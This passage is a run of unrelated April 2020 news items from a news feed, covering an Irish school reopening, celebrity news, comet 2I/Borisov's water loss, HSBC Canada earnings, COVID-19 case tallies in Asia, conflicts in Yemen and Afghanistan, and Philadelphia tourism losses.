a competent administration. Thats why during the New Deal FDR was able to have such a national impact, because it was competent and it was doing things, but if the federal government is not doing things, if its purely reactive behind the curve, chaotic, then the states have to fill the void. Listen to this episode, in which Weiser also discusses cooperative federalism, vote by mail, and the faithless electors case, below, or subscribe to the show on Apple Podcasts, Overcast, Spotify, Stitcher, Google Play, or wherever you get your podcasts. IT WILL be a special day when all schools reopen but especially so for Glenroe National School as it has been closed since 2015. Minister Patrick ODonovan announced two weeks ago that Glenroe NS is to reopen in September. The decision was made by the Minister for Education Joe McHugh after a long process which included Minister O'Donovan, the local community in Glenroe and the Limerick and Clare Education and Training Board. But they can't have a school without pupils and parents are being asked to register their interest. Glenroe Community National School Working Group said there has been a history of primary education in the Parish for many years with Glenroe NS being one of the first national schools to be established in Ireland in the 1840s. Mary Hanley OBrien, chairperson of the working group, said the community can now take great pride in establishing one of the first rural community national schools in Ireland in Glenroe in 2020. "The opening of the new primary school is set to fill the void that has existed in the rural parish of GlenroeBallyorgan since Glenroe NS and Ballyorgan NS closed in 2015 and 2010 respectively. Furthermore, the community national school model will also add to the diversity of school choice in the wider community. "In line with the policy intent of the Minister of Education and Skills, the Department intends to reopen Glenroe NS as a community national School through a pilot programme under the patronage of Limerick and Clare Education and Training Board. "It is hoped that the reopening of Glenroe NS under the patronage of Limerick and Clare Education and Training Board will pave the way for other rural primary schools which may have closed as a result of budget cutbacks between 2012 and 2015, to reopen their doors as community national schools. Glenroe CNS will be the first rural school in the country to partake in this pilot programme," said Ms Hanley O'Brien. This project has the strong support of the local community, parish priest, Diocese of Limerick and Limerick and Clare Education and Training Board. While the Limerick and Clare Education and Training Board are currently busy this week accepting expressions of interest for enrolment, the Glenroe CNS Working Group are exploring the issues of childcare and transport. Parents can express their interest at https://forms.gle/nGUbiGaQE4BZrR7g7 Those seeking further information in relation to Glenroe CNS are encouraged to contact 087 28 98 215 or glenroecommunitynationalschool@gmail.com Minister Patrick O'Donovan said the reopening of the school is one of the projects he is most proud of. "I have worked on this for months. We met with the minister and the local community in his office in Dublin a number of months ago and we presented the data that showed if the school reopened, then it could be sustained. "We received fantastic support from the former patron, the Bishop of Limerick, and the agreed new patron, the Limerick and Clare Education and Training Board. It will be the first of its kind in Limerick, with a new patron, and I know from all our discussions that they have the best interest of the children of the area in mind. They have already had a very successful meeting with the parents in the area, and I know from speaking to them that they are up for it and are very enthusiastic to see the school reopen." Minister O'Donovan said that this decision would give great hope to other rural communities, that when they come together and engage with State agencies what can be achieved. Netflix comedy series "Turn Up Charlie", starring Idris Elba, will not return for a second season, the streamer has announced. The show, which debuted in March last year, received average reviews. The story follows Charlie (Elba), a struggling DJ and eternal bachelor, who is given a final chance at success when he reluctantly becomes a manny to his famous best friend's problem child. According to The Hollywood Reporter, Netflix said in a statement that the platform was grateful to Elba, who co-created the show with TV producer Gary Reich, for his dedication. "'Turn Up Charlie will not return for a second season. We're especially grateful to star and executive producer Idris Elba, who turned his passion for DJing into a witty, heart-warming comedy series. "We're also thankful to executive producers Gary Reich and Tristram Shapeero and co-executive producers Martin Joyce and Ana Garanito, along with the dedicated cast and crew, for bringing this story to life on Netflix. We look forward to continuing our relationship with Idris on future projects," the streamer said. Apart from acting, Elba is also an accomplished DJ and has performed at festivals such as Snowbombing, Glastonbury, Creamfields, and Elrow London. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Irrfan Khan Has Been Admitted To The ICU In Mumbais Kokilaben Hospital Kim Kardashian claims that she is being very lazy under California's coronavirus lockdown. The 39-year-old TV star tried to prove it as she shared two new images with son Saint to Instagram where they were both in their sleepwear. But the KKW Beauty entrepreneur was still in a full face of makeup. 'Most days we dont get out of our pajamas,' said the Keeping Up with The Kardashians veteran. No fashion moves: Kim Kardashian claims that she is being very lazy under California 's coronavirus lockdown. The 39-year-old TV star tried to prove it as she shared two new images with son Saint to Instagram where they were both in their sleepwear Kim had on a leopard print pajama top as her black hair was worn down. She seemed to be laying down on a bed with her son Saint. She also has son Psalm as well as daughters North and Chicago. Some were confused by her message of dressing in her pajamas while fully made up. Follower Perryyy noted that her wearing 'layers' of makeup was not so 'relatable.' Painted: But the KKW Beauty entrepreneur was still in a full face of makeup. Follower Perryyy noted that her wearing 'layers' of makeup was not so 'relatable' And Hereeesdavid commented, 'Kim you def get out of your pjs.' But King.avs approved: 'Beautiful armenian beauty WOW.' Here sisters were supportive too. Kourtney wrote 'love' while Kylie Jenner hit the 'like' button. Over the weekend the star wrote in a caption: 'What's your favorite thing about quarantine? Mine is hanging with my babies 247.' She was with North. In the snap, the KKW Beauty founder pouts her plump lips forward, as she matched her eldest in a white sweatshirt with her rapper husband's name emblazoned across the chest in blue glitter. Lazy life: Kim had on a leopard print pajama top as her black hair was worn down. She seemed to be laying down on a bed with her son Saint It feels good: 'Most days we dont get out of our pajamas,' said the Keeping Up with The Kardashians veteran While North styled her hair into two trendy buns, her glamorous mom kept her long tresses down and rocked a rose-gold eye shadow. Her post comes just one week after the Stronger hitmaker, 42, whisked their youngsters on a three-day trip to Wyoming, so Kardashian could get some alone time. 'They have been taking turns caring for the kids,' a source told People on Thursday of how the pair are balancing time with North, Saint, four, Chicago, two and baby Psalm, along with their businesses. The insider added: 'It's a huge chaos with all the kids at home. Kanye normally escapes to his office for work breaks.' Mother daughter duo: The diva matched her eldest in a white sweatshirt with her rapper husband's name emblazoned across the chest in blue glitter While Kim appears to be changing her tune after a few days off, she has been vocal over the perils of homeschooling and struggling to keep her big brood entertained under quarantine. '[The theater room] is the place that has gotten the most use lately,' Calabasas socialite said in the June/July edition of Vogue. 'The whole family has spent the last few nights in there after the kids made it into a fort, with, like, different beds all over the floor. My daughter [North] is the fort police. If you move out of your bed that she designated for you, it's a problem.' Earlier this month, she seemed overwhelmed by her kids, as she attempted to film a 'Quarantine glam' makeup routine. After shooing North out of the room, the mother-of-four said: 'I'm hiding in the guest room because my kids will not leave me alone.' Dream team: Her post comes just one week after the Stronger hitmaker, 42, whisked their youngsters on a three-day trip to Wyoming, so Kardashian could get some alone time Like clockwork, North chimed in to tell Kim: 'Hey, that's mean!' prompting Kim to roll her eyes. Despite her attempt to hide, the budding fashionista kept interrupting her mom. North finally headed off with an irritated sigh, as Kim appeared to be losing her patience. Cameo: The KKW Beauty mogul, 39, was in the middle of showing fans how to recreate her at-home look when daughter North, six, wandered in and interrupted On Friday, Forbes Magazine published an article that her husband has reached billionaire status. Despite the massive achievement, the article notes that West was left unhappy with their research and findings - stating that he believes his net worth to be around $3.3 billion, rather than the $1.26 billion they have estimated. 'It's not a billion,' West allegedly texted the publication Thursday night. 'It's $3.3 billion since no one at Forbes knows how to count.' [April 28, 2020] dvm360 Launches Online Continuing Education Center dvm360, the No. 1 multimedia platform in the veterinary industry, has launched a continuing education (CE) center to deliver credible information and support veterinary health care professionals on the front lines. The center will host a series of webinars on a wide range of clinical and business-related topics. "This is an unprecedented time for everyone, but dvm360 understands the necessity of continuing education in order to improve veterinary practice and meet veterinary certification requirements," said Mike Hennessy Jr., president and CEO of MJH Life Sciences, the parent company of dvm360. "While live events are not a safe option, we are committed to providing education for veterinary professionals with our online CE center." Adam Christman, D.V.M., MBA, dvm360's chief veterinary officer, and leading industry experts will provide insightful and meaningful ways to apply this information to veterinarians, their practice and their patients. The dvm360 CE center is a convenient alternative for veterinary professionals to obtain RACE-approved CE credit through a series of informative online webinars. "While these are challenging times our country and veterinary professionals are facing, our dvm360 Fetch family is honored to present a virtual opportunity for veterinarians, veterinary students and veteriary health care teams. We understand how important it is for the veterinary community to continue to learn and develop your professional portfolio during this pandemic and beyond. In this series, attendees will find a wide variety of content that is both relevant and interesting. Sit back, RELAX and enjoy the learning experience," added Christman. The CE center will include up to 10 hours of informative insights from top minds in the veterinary industry on relevant topics including COVID-19 and telemedicine. Click here for information on the dvm360 CE center. About dvm360 The leading media-content provider in the veterinary market, dvm360 has been in operation for more than 30 years, and it provides readers with top-of-the-line digital and print content that focuses on every aspect of a veterinary professional's life. In addition, dvm360 hosts continuing education (CE) conferences that provide a 360-degree educational engagement experience for veterinary professionals. These conferences include three Fetch dvm360 conferences and the Atlantic Coast Veterinary Conference, CE events that have been a staple in the veterinary community for 30 years. dvm360 is a brand of MJH Life Sciences, the largest privately held, independent, full-service medical media company in North America, dedicated to delivering trusted health care news across multiple channels. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005605/en/ [ Back To TMCnet.com's Homepage ] For the first time, NASA's Neil Gehrels Swift Observatory tracked water loss from an interstellar comet as it approached and rounded the Sun. The object, 2I/Borisov, traveled through the solar system in late 2019. "Borisov doesn't fit neatly into any class of solar system comets, but it also doesn't stand out exceptionally from them," said Zexi Xing, a graduate student at the University of Hong Kong and Auburn University in Alabama who led the research. "There are known comets that share at least one of its properties." Comets are frozen clumps of gases mixed with dust, often called "dirty snowballs." Scientists estimate hundreds of billions of them may orbit the Sun. Based on Borisov's speed and computed path, however, it must have come from outside the solar system. The comet is only the second known interstellar visitor, discovered two years after the first object, named 'Oumuamua, zipped through the solar system. Amateur astronomer Gennady Borisov discovered the comet on August 30, four months before it made its closest approach to the Sun. The early identification gave multiple space- and ground-based observatories time for detailed follow-up observations. In October, scientists using the Apache Point Observatory in Sunspot, New Mexico, detected the first hint of water from the comet. In the following months, NASA's Hubble Space Telescope snapped images of Borisov as the comet sped along at around 100,000 miles (161,000 kilometers) per hour. As a comet approaches the Sun, frozen material on its surface -- such as carbon dioxide -- warms and begins converting to gas. When it gets within 230 million miles (370 million kilometers) of the Sun, water vaporizes. Xing and her colleagues confirmed the presence of water from Borisov and measured its fluctuations using ultraviolet (UV) light. When sunlight breaks apart water molecules, one of the fragments is hydroxyl, a molecule composed of one oxygen and one hydrogen atom. Swift detects the fingerprint of UV light emitted by hydroxyl using its Ultraviolet/Optical Telescope (UVOT). Between September and February, Xing's team made six observations of Borisov with Swift. They saw a 50% increase in the amount of hydroxyl -- and therefore water -- Borisov produced between Nov. 1 and Dec. 1, which was just seven days from the comet's closest brush with the Sun. At peak activity, Borisov shed eight gallons (30 liters) of water per second, enough to fill a bathtub in about 10 seconds. During its trip through the solar system, the comet lost nearly 61 million gallons (230 million liters) of water -- enough to fill over 92 Olympic-size swimming pools. As it moved away from the Sun, Borisov's water loss dropped off -- and did so more rapidly than any previously observed comet. Xing said this could have been caused by a variety of factors, including surface erosion, rotational change and even fragmentation. In fact, data from Hubble and other observatories show that chunks of the comet broke off in late March. "We're really happy that Swift's rapid response time and UV capabilities captured these water production rates," said co-author Dennis Bodewits, an associate professor of physics at Auburn. "For comets, we express the amount of other detected molecules as a ratio to the amount of water. It provides a very important context for other observations." Swift's water production measurements also helped the team calculate that Borisov's minimum size is just under half a mile (0.74 kilometer) across. The team estimates at least 55% of Borisov's surface -- an area roughly equivalent to half of Central Park -- was actively shedding material when it was closest to the Sun. That's at least 10 times the active area on most observed solar system comets. Borisov also differs from solar system comets in other aspects. For example, astronomers working with Hubble and the Atacama Large Millimeter/submillimeter Array, a radio telescope in Chile, discovered Borisov produced the highest levels of carbon monoxide ever seen from a comet at that distance from the Sun. Borisov does have some traits in common with solar system comets, though. Its rise in water production as it approached the Sun was similar to previously observed objects. Xing and her team also found that other molecules in Borisov's chemical inventory -- and their abundances -- are similar to home-grown comets. For example, with respect to hydroxyl and cyanogen -- a compound composed of carbon and nitrogen -- Borisov produced a small amount of diatomic carbon, a molecule made of two carbon atoms, and amidogen, a molecule derived from ammonia. About 25% to 30% of all solar system comets share that trait. But Borisov's combined characteristics defy placement in any single known comet family. Scientists are still pondering what this means for comet development in other planetary systems. The team's results were published in the April 27, 2019, issue of The Astrophysical Journal Letters and are available online. Swift was developed to study gamma-ray bursts, the most luminous explosions in the universe. But for the last decade, Bodewits has used it to learn more about comets as they traverse the solar system. Most UV light is absorbed by Earth's atmosphere, so scientists must look for hydroxyl's signature from space. And because Swift has a flexible observing strategy and rapid reaction time, it can perform long-term monitoring of interesting new targets. The first five observations of Borisov were composed of UVOT snapshots taken over 12 hours, and the last was a series of images captured over 24 hours. "The team did not envision that the mission would contribute so much to our understanding of planetary science when it was being built," said Swift Principal Investigator S. Bradley Cenko at NASA's Goddard Space Flight Center in Greenbelt, Maryland. "But it's a nice example of people coming up with creative and powerful ways to use the capabilities that are out there to do unexpected and exciting science." Reference: "Water Production Rates and Activity of Interstellar Comet 2I/Borisov," Zexi Xing et al., 2020 April 27, Astrophysical Journal Letters [https://iopscience.iop.org/article/10.3847/2041-8213/ab86be, preprint: https://arxiv.org/abs/2001.04865]. Please follow Astrobiology on Twitter. VANCOUVER - HSBC Bank Canada reported a drop in its first-quarter profit compared with a year ago as it took a charge related to bad loans it expects due to the downturn in the economy. Hey there, time traveller! This article was published 28/4/2020 (624 days ago), so information in it may no longer be current. The logo for HSBC Bank Canada is seen on King Street West in Toronto on Tuesday, May 24, 2016. HSBC Bank Canada reported a drop in its first-quarter profit compared with a year ago as it took a charge related to bad loans it expects due to the downturn in the economy. THE CANADIAN PRESS/Eduardo Lima VANCOUVER - HSBC Bank Canada reported a drop in its first-quarter profit compared with a year ago as it took a charge related to bad loans it expects due to the downturn in the economy. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. The bank says it earned a profit attributable to common shareholders of $54 million or 11 cents per share for the quarter ended March 31. That's compared with a profit of $158 million or 32 cents per share in the first three months of 2019. An preliminary estimate by Statistics Canada suggests the Canadian economy pulled back nine per cent in March as steps to slow the spread of COVID-19 forced the closure of businesses across the country. The price of oil also tumbled as demand fell and Russia and Saudi Arabia were embroiled in a price war. HSBC Bank Canada says its latest quarter included a charge of $140 million due to the downturn in its outlook for the economy and its impact on its loan portfolio as well as non-performing loans in the energy sector driven by the drop in oil prices. The charge compared a gain of $12 million in the same period a year earlier. This report by The Canadian Press was first published April 28, 2020. Source: Xinhua| 2020-04-28 20:03:42|Editor: huaxia Video Player Close A girl waits to return home under special arrangement at Hazrat Shahjalal International Airport in Dhaka, Bangladesh, April 21, 2020. (Stringer/Xinhua) -- Bangladesh reports biggest daily jump in COVID-19 cases; -- Indonesia announces 415 new cases, tally at 9,511; -- Infections in Japan increased by 247 to 13,860; -- Malaysia records 31 new cases, 5,851 in total. HONG KONG, April 28 (Xinhua) -- The following are the latest developments of the COVID-19 pandemic in Asia-Pacific countries. DHAKA -- Bangladesh on Tuesday reported a record daily jump of 549 COVID-19 cases, taking its total to 6,462. As three fatalities were reported, the death toll from the COVID-19 in the country has risen to 155. A staff sprays disinfectant to a cage of tiger in Bangladesh's National Zoo in Dhaka, Bangladesh, on April 23, 2020. (Stringer/Xinhua) JAKARTA -- The Indonesian government on Tuesday announced 415 new confirmed cases of COVID-19, bringing the total infections to 9,511. Eight new deaths were reported, taking the total number of fatalities to 773. Balinese traditional guard officers, also called Pecalang, check the body temperature of citizens amid the COVID-19 outbreak in Benoa, Bali, Indonesia, April 22, 2020. (Photo by Kurniawan Masud/Xinhua) TOKYO -- The COVID-19 cases in Japan increased by 247 to 13,860, according to the latest figures from the health ministry and local authorities on Tuesday evening, leading to the concerns that the government may extend the state of emergency period beyond the deadline May 6. The nationwide death toll has increased to 420, including those from a cruise ship that was quarantined in Yokohama near Tokyo. A deer is seen at an empty scenic spot in Nara, Japan, April 18, 2020. (Kyodo News/Handout via Xinhua) KUALA LUMPUR -- Malaysia recorded 31 new cases on Tuesday, the lowest recorded since a movement control order has been implemented on March 18, bringing the total number of cases in the country to 5,851. Another 75 cases were released, bringing the number of those cured and discharged to 4,032 or 68.9 percent of all the cases. A soldier stands guard next to a community under the enhanced movement control order in Selayang Baru, Selangor, Malaysia, on April 26, 2020. (Photo by Chong Voon Chung/Xinhua) MANILA -- The Philippines reported 181 more cases, bringing the total number to 7,958. The health department also reported 43 more COVID-19 patients have recovered, bringing the total number to 975, and 19 more deaths were also reported, raising the death toll to 530. A policeman from the Philippine National Police (PNP) checks the body temperature of a motorist at a checkpoint in Manila, the Philippines, April 24, 2020. (Xinhua/Rouelle Umali) BANGKOK -- Thailand recorded single-digit count on new infections for the second straight day with 7 cases and 2 new fatalities, bringing the total cases to 2,938 and the death toll to 54. Recovery cases rose by 43 to 2,652 while 232 patients are being treated in hospitals. A woman receives disinfection at a free food distribution point in Bangkok, Thailand, April 22, 2020.(Xinhua/Rachen Sageamsak) NEW DELHI -- The Indian capital government on Tuesday resumed services provided by specialist workers like electricians, plumbers, and water-purifier repair mechanics. The 40-day lockdown in the country is scheduled to end on May 3. India confirmed 48 new deaths, and 1,055 positive cases were reported since Monday evening across the country, taking the number of deaths to 934 and total cases to 29,435. A healthcare worker is seen at a residential area during a nationwide lockdown in Mumbai, India, April 27, 2020. (Xinhua/Stringer) KABUL -- Afghanistan reported 125 new COVID-19 cases, the second highest daily increase so far. The number of infected patients in the country stands at 1,828 as of Tuesday morning. Photo taken on April 18, 2020 shows empty beds for COVID-19 patients at Darul Aman Palace in Kabul, capital of Afghanistan. (Xinhua/Mohammad) SYDNEY -- Australian state leaders moved to relax COVID-19 restrictions in order to allow family and friends to visit each other, as the number of new infections in the country remained low. The country recorded 12 new cases during the 24 hours from Monday to Tuesday morning -- taking the total cases to 6,725 -- with just one coming from an unidentified source. Australia's total number of COVID-19 fatalities stood at 84. People ride at Sisters Bay in Sydney, Australia, on April 23, 2020. (Xinhua/Bai Xuefei) WELLINGTON -- New Zealand reported two new confirmed COVID-19 cases and one probable case over the past 24 hours, with the total number of infections being 1,472. Photo taken on April 18, 2020, shows a waiting area converted from a parking lot for customers at a supermarket in Wellington, New Zealand. (Xinhua/Guo Lei) SEOUL -- South Korea reported 14 more cases of the COVID-19 compared to 24 hours ago as of 0:00 a.m. Tuesday local time, raising the total number of infections to 10,752. The daily caseload hovered around 10 for the 10th straight day. One more death was confirmed, raising the death toll to 244. Voters stand in line with a social distance as they enter a polling station in Seoul, South Korea, April 15, 2020. (Xinhua/Lee Sang-ho) A lightning strike is the likely cause of a second-alarm fire at an apartment complex early Tuesday that destroyed several family homes on the Northeast Side, the San Antonio Fire Department said. Reports of the fire came just after 2 a.m., and the first crews on scene saw heavy flames coming through the roof of the Villa Rodriguez Apartments, near the 3400 block of Salado Creek Drive. Saudi-led coalition calls on UAE-backed separatists to return to Riyadh deal Iran Press TV Monday, 27 April 2020 8:07 AM A Saudi Arabia coalition that has been attacking Yemen since 2015 has called on Emirati-backed separatists that used to ally themselves with the invading force to return to a so-called de-confliction deal after they declared "self-rule" in the impoverished country's south. The coalition made the demand of the so-called Southern Transitional Council (STC) on Monday, the Saudi Press Agency reported. The agreement that was signed in the Saudi capital in November last year ended heavy fighting between the STC and Saudi-backed militants that had erupted after the former took the southern Yemeni city of Aden. On Sunday, the council broke ranks with the Saudi-led coalition again by announcing "self-administration" in southern Yemen. It also accused the Riyadh-backed government of former Yemeni president Abd Rabbuh Mansur Hadi of corruption and mismanagement. The Saudi-led coalition invaded Yemen in March 2015 to restore power to Hadi's government. The regime had fled Yemen earlier amid a power crisis, refusing to stay behind and join negotiations with Yemen's popular Houthi Ansarullah movement. The invasion has killed tens of thousands of Yemenis and pushed the entire country close to the brink of an all-out famine. The coalition, meanwhile, threatened the UAE-backed forces by saying that any steps that contradicted the Riyadh agreement had to be cancelled, and demanded an end to any escalation. Reacting to the development on Monday, the Emirati foreign minister said Abu Dhabi was opposed to the separatists' decision, Reuters reported. Anwar Gargash said the the announcement had been a unilateral move and called for the enforcement of the agreement signed with the Saudi-backed militants. A day earlier, Mohammed al-Hadhrami, the foreign minister of the self-proclaimed Hadi regime, had also said the STC "will bear alone the dangerous and catastrophic consequences for such an announcement." Observers say both the clashes that preceded the Riyadh deal and the Emirati-backed forces' recent declaration serve to lay bare existing differences between the kingdom and Abu Dhabi concerning the direction of the war that has fallen short of all of its objectives. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Anadolu Agency, April 27, 2020 By Shadi Khan Saif Amid growing calls for a cease-fire, the UN mission in Afghanistan on Monday revealed that raging violence in the war-torn country has killed 533 civilians including over 150 children, in the first quarter of 2020. The UN Assistance Mission in Afghanistan (UNAMA) said the toll highlighted the urgent need for all parties of the conflict to do more to protect civilians from harm, especially in view of the looming threat posed by the novel coronavirus. UNAMA expressed concerns about the escalation of violence during March after clashes lulled between pro-government forces and the Taliban on the heels of the Feb. 29 agreement signed between the militants and the US. Women and children continue to be disproportionately impacted by the violence. From Jan. 1 to March 31, 2020, UNAMA documented 417 child casualties (152 killed and 265 injured) and 168 women casualties (60 killed and 108 injured). "To safeguard the lives of countless civilians in Afghanistan and to give the nation hope of a better future, it is imperative that violence is stopped with the establishment of a ceasefire and for peace negotiations to commence," said Deborah Lyons, the Secretary-General's Special Representative for Afghanistan and head of UNAMA. Taliban blames 'bombardments, artillery attacks' for civilian casualties Afghans assist a wounded man in a hospital after a roadside bomb on the main highway between the western city of Herat and the southern city of Kandahar, in Herat, Afghanistan, Wednesday, July 31, 2019. A roadside bomb tore through a bus in western Afghanistan on Wednesday, killing at least 32 people, including children, a provincial official said. (Photo: Hamed Sarfarazi/AP) Afghans assist a wounded man in a hospital after a roadside bomb on the main highway between the western city of Herat and the southern city of Kandahar, in Herat, Afghanistan, Wednesday, July 31, 2019. A roadside bomb tore through a bus in western Afghanistan on Wednesday, killing at least 32 people, including children, a provincial official said. (Photo: Hamed Sarfarazi/AP) UNAMA attributed 39% of the civilian casualties to the Taliban, 13% to ISIS/Daesh and the remainder to undetermined anti-government elements. The number of civilian deaths attributed to anti-government elements -- particularly the Taliban -- increased by 22% in the first quarter of 2020 as compared to the same period in 2019, mainly due to an increase in targeted killings and summary executions. The Taliban categorically rejected the UNAMA report blaming it for 'concealing daily crimes' committed by the pro-government forces. Zabiullah Mujahed, the group's spokesman claimed in a message that the Taliban employs a special commission for the prevention of civilian casualties. "Our fellow countrymen are aware that most civilian casualties are caused in the blind bombardments, artillery attacks on villages and hamlets and night raids on homes by the opposition which have only vaguely been touched upon in the UNAMA report," he said Taliban rebukes calls for cease-fire This comes as the insurgents rejected calls by the Afghan government, Organization for Islamic Countries, US, NATO and UN for a cease-fire in the war-ravaged country. In a separate message on Sunday, Mujahed said demanding a ceasefire and reduction in violence at a time when the "opposite side" was not executing its own obligations was both "illogical and opportunistic." "The US-Islamic Emirate [Taliban] agreement that has also been endorsed by the Security Council and the international community at large clearly states that following the signing ceremony, six thousand prisoners from both sides must be released within a ten-day period and a pathway for intra-Afghan negotiations opened," he said, adding that the Afghan government, US and NATO failed in executing their responsibilities in implementing the deal. A day earlier, NATO stressed that the current level of violence caused by the Taliban was not acceptable. "We call urgently on the Taliban to reduce violence and create the conditions conducive to commence negotiations. NATO further calls on the Taliban to fulfil its commitments to ensure that terrorists never again find safe haven on Afghan soil," NATO said in a statement. It reaffirmed its longstanding commitment to Afghanistan and the Afghan security forces. "Now is the time to act in support of sustainable peace." This obituary is part of a series about people who have died in the coronavirus pandemic. Read about others here. If Corliss Henry spent time assessing her perpetual role as a trailblazer, she largely kept it to herself. She was one of the few black students at Hunter College High School in the 1940s, then an all-girls school on Manhattans Upper East Side. She became, in 1957, the first black nurse on staff at Muhlenberg Hospital in Plainfield, N.J., where her husband was the first black person on the sales floor of any store downtown. Mrs. Henry died on April 14 at Overlook Medical Center in Summit, N.J. She was 95. The cause was the novel coronavirus, her son Steve said. Bardejov has wooden churches and the oldest tree in Slovakia. Font size: A - | A + Comments disabled The sun was shining one morning, brightening the windows and waking sleepy schoolchildren. One boy was gazing, melancholy, through the window. He saw his future. He saw himself walking down the street of Wittenberg. He saw himself having a passionate discussion with Martin Luther and Philip Melanchton, two rebels who opened the door to reformation and humanism. Skryt Remove ad Article continues after video advertisement Skryt Remove ad Article continues after video advertisement In 1539, 29-year-old Leonard Stockel was appointed as a teacher at the gymnasium. In Bardejov, his hometown, which was nicknamed the Slovak and Hungarian Wittenberg. Stockel, who laid the foundations of pedagogy and education, was called the teacher of the Kingdom of Hungary. New Delhi, April 28 : Union Health State Minister Ashwini Choubey said that the Central government will leave no stone unturned in fighting against the novel coronavirus pandemic. For this, the Centre is constantly providing the PPEs, testing kits, masks, medicines and all possible help to the state in the fight against Covid-19, he said. In an exclusive interview with IANS, the Minister said that whatever steps the government has taken under the direction and instructions of the Prime Minister have fetched positive results so far. "If we compare India with other countries, then the infection rate of coronavirus is very low here. This could only be possible through timely implementation of the lockdown," he said. He said that because of the foresight of Prime Minister Narendra Modi, the lockdown was implemented when there were only 600 cases in India. "Therefore, the infection rate is very low here and the whole world is praising us for this step. We have adopted all precautionary measures in India on time," he said. "It is the result of constant monitoring that 16 districts that earlier had reported coronavirus cases have not reported even a single new case since past 28 days. After April 24, three more districts -- Maharashtra's Gondiya, Karnataka's Devenagari and Bihar's Lakhisarai -- have been added to this. Overall, 85 districts in the country have not reported even a single case of coronavirus in last 14 days," Choubey said. But we need to be more alert, he said, adding that there are two districts in the country which did not have any case during the last 28 days but now have reported infection. Hence, we need to be more conscious, he added. The Union State Minister said that the Prime Minister during his interaction with the Chief Ministers on Monday advised them to be "aware and alert". Modi told the states that we have to break the chain of virus. Red Zone and Orange Zone have to be removed and turned into green. Therefore, it is also the aim of the Union Health Ministry to convert the Red Zone into Orange Zone and the Orange into Green Zone. He said that the Central government's fight is against the disease and not against the sick people. He said that, "all possible help is being provided by the Central government to every state. There is no discrimination against anyone. Necessary medical equipment have been provided to all states. There is no shortage of any kind of resources in the country. At present, all kinds of help are being provided to the states." On the issue of complaint of test kits by several states, Choubey said that a meeting was held with the Health Ministers of the states in this context. There were certainly complaints, but many states also praised the test kits. As far as the test kits are concerned, the ICMR has given directions to the states on faulty kits. Action will be taken after the report is received. The Centre will provide good kits to all states. The government will not spend a single penny on the faulty test kits. "If you look at the data of the last three days, the number of corona infected people is now doubling in ten days which was earlier five days ... the figures are getting better continuously. We all working together in the fight against this virus," he further said. While praising the Prime Minister, Ashwini Choubey said that when the Union Health Ministry came to know about the novel coronavirus in the first week of January, preparations started under the guidance of Modi, without missing a single day. The process of regular monitoring of passengers arriving from abroad at the airports was started along with their screening. Cabinet teams were formed. All officials including Union Health Minister Dr Harsh Vardhan began contacting states constantly. Daily meetings were held with Health Ministers and Health Secretaries. Successive important steps were taken which succeeded in preventing the infection to a great extent. He said, "The Ministry of Health is aware and alert. Every aspect is reviewed on a daily basis. All states are approached and are made aware of the situation there. On Friday, in this connection, Harsh Vardhan and I spoke to the Health Ministers of all the states and union territories through video conferencing. We are confident that with the cooperation of all, India will definitely win the war against corona." On the question of the lockdown, the Union Minister of State for Health, said that even now the experts also believe that this is an effective way to prevent the spread of the infection. Together they have to successfully win the war against Corona. The central and state governments are engaged in this. He has asked people to regularly follow the guidelines issued for the Social Distancing by the central and state governments. Only by this we can break the chain of this transition. He said that there is a lot of awareness among the countrymen about the virus and that there is a need to maintain that awareness. All of us can win this fight with resolve, patience and discipline as the Prime Minister says. We all have to carry on our efforts. The health policy of the government is based on "Survey Bhavantu Sukhin: Survey Santu Niramaya" (All should be healthy and all should be benefited). Choubey, the second time MP from Buxar in Bihar was also the Minister of State for Health in the first term of the Modi government. He has been a five-time MLA from Bhagalpur in Bihar. He has also been the Health Minister of Bihar in the Nitish Kumar government. (Kamlesh Singh can be reached at kamlesh.s@ians.in) Independence Hall is reflected in the glass door of the closed Independence Visitor Center. Read more Shuttered restaurants and museums. Canceled meetings and events. Even the Liberty Bell and Independence Hall are closed. Philadelphia and its attractions are normally bustling this time of year with springtime tourists and other visitors. Now, a hospitality industry that supports almost 200,000 jobs across the city and its four suburban Pennsylvania counties is practically in hibernation during the coronavirus pandemic. The days of lost economic activity already pegged at more than $1 billion are adding up. And the nights of empty hotel rooms are eating into the budgets of local tourism promotion agencies, such as Visit Philadelphia. Thats money for advertising that will eventually be needed to lure tourists back, once its safe. Were going to have all these major cities and destinations competing for peoples time and money, said the groups CEO, Jeff Guaracino. And while some businesses such as retail are eyeing a partial reopening as early as May, tourism officials are cautiously optimistic that some meetings and leisure trips will pick up in the fall. How, exactly, people will change their travel behavior is an open question, Guaracino said. READ MORE: Reopening businesses during coronavirus is complicated: Im so afraid of letting anybody in the place Visit Philadelphia, which is largely funded by the tax guests pay on hotel bookings, estimates that it will lose at least $6.3 million for its fiscal year that ends Sept. 30. Thats more than a third of the organizations $15 million budget. Guaracino was facing the prospect last week of furloughing staff for the 501(c)(3) nonprofit, which is the Philadelphia regions official tourism promoter. But Visit Philadelphia was approved for a $1 million loan under the federal Paycheck Protection Program, part of the governments growing coronavirus economic rescue package. The funding will cover two months of staff salaries in the 50-person office. We have an obligation to return on that investment, Guaracino said, adding: It will be a competitive advantage for us to get back to market quicker. In January, tourism officials from across the region got up on stage at the Pennsylvania Convention Center for a celebratory event, announcing new campaigns and partnerships for the coming year. Now, a weekly meeting among many of those same officials revolves around the pandemic to talk about recovery, and what might some of those messages be when its time to pivot, said Julie Coker, president and CEO of the Philadelphia Convention & Visitors Bureau. The Philadelphia region drew 45 million visitors who spent $7.6 billion in 2018 (the latest year for which numbers are available). This year, the city has already lost an estimated $1.1 billion in economic activity related to tourism, according to Visit Philadelphia. The U.S. Travel Association, a trade group, estimates that the financial fallout to the industry nationally will be nine times worse than after the Sept. 11, 2001, terrorist attacks. About half of 15.8 million travel-related jobs are projected to disappear by the end of April a catastrophic figure, the group says. The future of the country in the short term in particular is really going to be dependent on these destinations being able to survive and help the economy rebuild, said Tori Emerson Barnes, an executive vice president at the U.S. Travel Association. The Paycheck Protection Program offers one potential lifeline, though unlike Visit Philadelphia, many tourism promotion groups dont have that option. So-called destination marketing organizations that are organized as 501(c)(4) or 501(c)(6) nonprofits including several in the region or that function as an arm of a local government, cant apply for PPP. The U.S. Travel Association is advocating to change that in future legislation. In 